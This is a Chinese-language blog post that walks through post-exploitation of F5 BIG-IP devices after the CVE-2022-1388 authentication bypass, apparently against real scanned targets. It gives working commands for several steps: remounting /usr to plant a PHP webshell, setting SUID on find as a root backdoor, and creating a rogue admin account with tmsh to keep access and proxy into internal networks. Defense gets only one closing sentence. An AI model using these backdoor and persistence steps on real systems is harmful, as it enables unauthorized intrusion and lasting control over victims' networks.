基于CVE-2022-1388的F5 BIG-IP后渗透
[TOC]
一、前言
CVE-2022-1388
是F5 BIG-IP iControl REST 身份认证绕过漏洞,通过该漏洞可以以root权限执行命令,具体原理挖个坑以后填,本文以实战为例,讲解如何利用该漏洞进行持久化及后渗透,以及如何防御该漏洞。
二、目的
所有的网络渗透行为都不会也不应该是盲目的,在渗透之前攻击者就会明确其行动的最终目标。如邮件服务器、核心人物的办公电脑等,因此,在对路由器这类网络边界的漏洞挖掘和利用过程中,重点应在于获取其管理权限或者部分命令执行权限(而非root权限),获取这些边界的唯一目的便是网络穿透,达到进入内网的目的。只要该权限能开放代理(或vpn)就已经可以达成目的了。
综上所述,本文的后渗透利用将以开放代理为最终目的。
三、打点
漏洞出现后,使用exp对目标资产进行扫描,结果喜人,出现了若干可利用的F5 VPN。
四、信息搜集
获取权限之后,需要进行一些简单的信息搜集。众所周知,路由器等IoT设备为了追求性能,往往会使用阉割版linux,最终导致缺少很多命令。但是幸运的是,F5 BIG-IP系统的命令很充足,甚至还有apache、tomcat、php和jdk,这一发现令我们非常惊喜。自然而然想到使用php webshell做一个简单的持久化。
经过寻找,php web的目录位于/usr/local/www/xui/
。
五、问题一
当我们开始尝试写入shell时
echo '<?php phpinfo();?>' > /usr/local/www/xui/common/phpinfo.php
令人难受的事情发生了,phpinfo.php
并没有如期出现。
大部分IoT设备在很多情况下,会将整个硬盘设置为只读模式,这样就导致无法写入文件。
但是,获取的权限是root权限时,能不能通过重新挂载硬盘的方式将文件写入呢?
我们进行了新的一轮尝试
mount -o remount -rw /usr;
echo '<?php phpinfo();?>' > /usr/local/www/xui/common/phpinfo.php;
mount -o remount -r /usr
成功写入phpinfo.php
。
六、问题二
当我们将webshell传入后,发现了第二个问题,php webshell的权限是apache权限,那么当目标将漏洞修复之后,我们将再写无法通过重新挂载硬盘的方式将文件传入了。因此我们还需要一个root的后门。这里有一个很简单的方式,使用find进行suid权限维持。
回到root的shell,使用+s给find加上suid权限
chmod +s /usr/bin/find
再回到webshell中,通过执行如下命令即可以root权限执行命令。
find /etc/passwd -exec "命令" \;
七、问题三
完成简单的持久化之后,就去睡觉了,等到第二天再看的时候,目标果真将漏洞修复了,但是webshell还在,因此只能通过webshell进行简单的利用(如:传frp、reGeorg等),但这个非常不稳定极有可能被发现,并且无法进入管理页面。那么如何进行更加稳妥的操作呢?
根据以往的经验,一个成熟的路由器,一定会有一个自己的sh或者管理shell,以方便用户进行命令行的配置(如zeroshell、mikrotik等),那么F5会不会也有一个自己的操作shell呢?
翻看资料,果真有,叫tmsh
。继续查看资料,发现可以用tmsh
可以列出管理员用户信息
# 列出所有管理用户,权限及密码
tmsh list auth user
该命令列出了所有管理用户,权限及密码,密码加密了解不开。
既然可以列出用户,那么能不能创建用户呢?继续查看产品手册。
确实可以。
经过数次尝试,成功创建了管理用户。
find /etc/passwd -exec tmsh create auth user '用户名' partition-access add {all-partitions {role admin}} shell advanced shell password '复杂密码' \;
PS:密码一定要复杂,不然创不了用户。
进入管理后台。
此外,管理账号也可以通过ssh以root权限登录BIG-IP,并且没有只读的权限限制。
八、小结
至此,持久化的目的已经达成,也可以继续通过挂代理开vpn等方式进入目标内网了。
九、防御
BIG-IP作为F5管理软件完全没有必要开在外网,因此将该应用放在内网中不失为一种比较有用的防御办法。(及时打补丁也很重要)